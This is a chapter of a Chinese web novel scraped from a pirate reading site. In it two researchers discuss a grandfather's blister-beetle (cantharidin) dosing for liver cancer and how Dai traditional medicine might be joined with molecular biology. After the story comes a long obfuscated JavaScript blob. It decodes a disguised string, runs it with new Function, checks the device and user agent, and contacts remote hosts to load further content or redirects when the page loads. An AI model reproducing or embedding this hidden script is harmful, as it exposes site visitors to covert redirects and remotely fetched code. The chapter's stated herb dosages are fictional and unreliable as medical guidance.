第2590章 能杀人也能救人
新笔趣阁(52xbq.com)更新快,无弹窗!
边城。
窗外的缅桂树开了今年的第二茬花,香气从研究院一楼的花圃里漫上来,穿过走廊的窗户,渗进刀小芸的实验室。她站在白板前面,手里捏着一支黑色记号笔,已经站了将近二十分钟。白板上画着两张图。左边那张是她爷爷传下来的“四塔五蕴”理论简图,风、火、水、土四种元素用傣文标注着,彼此之间有箭头相连,箭头旁边写着相生相克的关系。右边那张是詹姆斯上周画的,那是一张靶向药物作用机制的示意图。细胞膜上的靶点像一把锁,药物分子像一把钥匙,钥匙插进锁孔,信号通路被阻断,细胞停止分裂。
两张图并排摆在白板上,像两个来自不同世界的地图,描绘着同一片海域。
詹姆斯坐在她身后的椅子上,手里端着一杯已经凉透的咖啡,也在看那两张图。他的老花镜推到额头上,露出两道被镜腿压出的红印。他已经这样坐了很久,久到咖啡面上的油脂凝结成一层薄薄的膜。
“刀小姐,”他忽然开口,声音比平时低了一些,“你刚才说,你爷爷治肝癌晚期病人的时候,用的斑蝥剂量是零点三克。你确定是零点三克?”
刀小芸转过身。“确定。我亲眼看他称的。那杆戥子现在还在我抽屉里。”
詹姆斯沉默了几秒。“斑蝥的致死剂量大概是一克。零点三克,在安全范围内,但已经很接近危险边缘了。你爷爷有没有说过,他为什么选这个剂量?”
刀小芸想了想。“他说过。他说,那个病人的体质,是‘塔菲’过盛,在西医里,大概对应免疫系统过度激活。斑蝥能破血逐瘀,消癥散结,但用少了没用,用多了伤身。零点三克,是他试出来的。”
詹姆斯点了点头。他没有再说话,但刀小芸注意到,他的手指在椅子扶手上轻轻敲着,一下,两下,三下。那是他在算账时的习惯动作。
“老詹,你在想什么?”
詹姆斯抬起头。“我在想,你爷爷试出零点三克这个剂量,花了多长时间?”
刀小芸愣了一下。“不知道。可能很多年。”
“很多年。”詹姆斯重复了一遍这个词,然后站起来,走到白板前面,站在她旁边。他拿起另一支记号笔,在靶向药物示意图的旁边,画了一个新的框,里面写着“斑蝥素”。
“斑蝥的有效成分是斑蝥素。这个东西,在西药里,是一种蛋白质磷酸酶抑制剂。它能抑制PP2A的活性,从而诱导肿瘤细胞凋亡。这个机制,西方医学在二十世纪九十年代才发现。但你爷爷,可能几十年前就知道了。不是通过分子生物学,是通过试。”
他转过身,看着刀小芸。“刀小姐,你知道这意味着什么吗?”
刀小芸说:“意味着,我爷爷试对了。”
詹姆斯摇了摇头。“不只是试对了。是试出了方向。你爷爷不知道斑蝥素是什么,不知道PP2A是什么,不知道细胞凋亡通路是什么。但他知道,这个东西能杀人,也能救人。用对了剂量,就能救人。这种直觉,西方医学花了整整一个世纪才追上。”
他指着白板上那两张图。“你看这两张图,画法不一样,语言不一样,逻辑不一样。但它们指向的是同一个东西。你爷爷的‘塔菲过盛’,在我的分子生物学里,可能就是某个信号通路的过度激活。你爷爷的‘破血逐瘀’,在我的药理学里,可能就是抑制肿瘤血管生成。你爷爷的‘消癥散结’,在我的临床术语里,就是诱导肿瘤细胞凋亡。”
他把记号笔放下,双手插进口袋里。“刀小姐,我这辈子,做了四十年癌症研究。前二十年,我在找靶点。后二十年,我在找药物。我以为,只要找到足够精准的靶点,设计出足够特异的药物,就能把癌细胞一个一个地杀死。但你的数据告诉我,这条路,可能走不到头。”
刀小芸看着他,没有说话。
詹姆斯继续说:“你的证型模型,预测准确率百分之八十三。剩下的百分之十七,不是模型的问题,是人的问题。同一种药,同一种病,同一种证型,不同的病人,反应不一样。为什么?因为你没法把所有人分进四个筐里。人是活的,筐是死的。”
他走回椅子前,坐下。“你爷爷知道这一点。所以他不靠筐,靠试。每一个病人来了,把脉,看舌苔,问症状,然后开方。方子不是固定的,是试出来的。先试一个剂量,看看反应。不行,调。再不行,再调。调到合适为止。这个过程,在西方医学里,叫做‘个体化治疗’。我们花了几十亿美元,搞基因测序,搞伴随诊断,搞大数据分析,就是为了实现这个东西。而你爷爷,用三根手指,就做到了。”
刀小芸站在那里,看着这个七十岁的老头。他的眼睛很亮,像两颗埋在灰烬里的炭。她忽然想起爷爷说过的一句话——“西医有西医的长处,中医有中医的长处,谁要是觉得自己什么都行,谁就离失败不远了。”她一直以为,这句话是说给她听的。现在她忽然觉得,这句话,也是说给詹姆斯听的。
“老詹,你是不是想说什么?”
詹姆斯看着她,沉默了几秒。然后他站起来,走到白板前面,把那张靶向药物示意图擦掉了。刀小芸愣了一下,没有阻止。他拿起记号笔,在白板上重新画了一张图。这次画的不是分子结构,不是信号通路,是一棵树。
树的根部,写着“证型”。树干上,写着“靶点”。树枝上,写着“药物”。树叶上,写着“疗效”。
他放下笔,转过身。“刀小姐,这是我最近在想的东西。你爷爷的证型理论,是根。我的靶向药物,是树干。没有根,树干活不了。没有树干,根也长不大。根和树干,是一体的。”
刀小芸看着那张图,很久。然后她拿起另一支笔,在树根下面加了一行字——“四塔五蕴”。在树干旁边加了一行字——“分子生物学”。在树枝旁边加了一行字——“傣药方剂”。在树叶旁边加了一行字——“临床试验数据”。
她放下笔,看着詹姆斯。“老詹,你说得对。是一体的。”
两个人站在白板前面,看着那棵越画越大的树,谁都没有说话。窗外,飞行器的嗡嗡声从研究院的方向传来,低沉而平稳,像某种古老的乐器在演奏。
詹姆斯忽然开口。“刀小姐,你知道我们现在最缺什么吗?”
刀小芸说:“什么?”
詹姆斯说:“一个能把你爷爷的证型,翻译成分子生物学的语言的人。一个能把你的证型模型,变成可量化、可检测、可验证的生物标志物的人。一个能告诉你,‘肝郁气滞’在基因表达谱上长什么样、在蛋白质组学上长什么样、在代谢组学上长什么样的人。”
刀小芸说:“你有这个人选?”
詹姆斯想了想。“有一个。但我不敢肯定他会来。”
他走回座位前,坐下,拿起那杯凉透的咖啡喝了一口,皱了皱眉。“那个人叫陈明章。我十年前在哈佛带过的博士后,中国人,做系统生物学的。他在博士论文里做过一个东西,用机器学习的方法,把中医的舌象和脉象翻译成基因表达谱。当时所有人都觉得他在胡闹,论文发不出去,基金申请不下来,在学术界混不下去,后来去了工业界。听说现在在波士顿一家生物技术公司做研发总监。”
刀小芸说:“你觉得他能帮我们?”
詹姆斯说:“不知道。但他可能是这个世界上,少数几个能同时看懂你爷爷的医案和我的基因测序报告的人。”
他放下咖啡杯。“刀小姐,我想把他请来。”
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();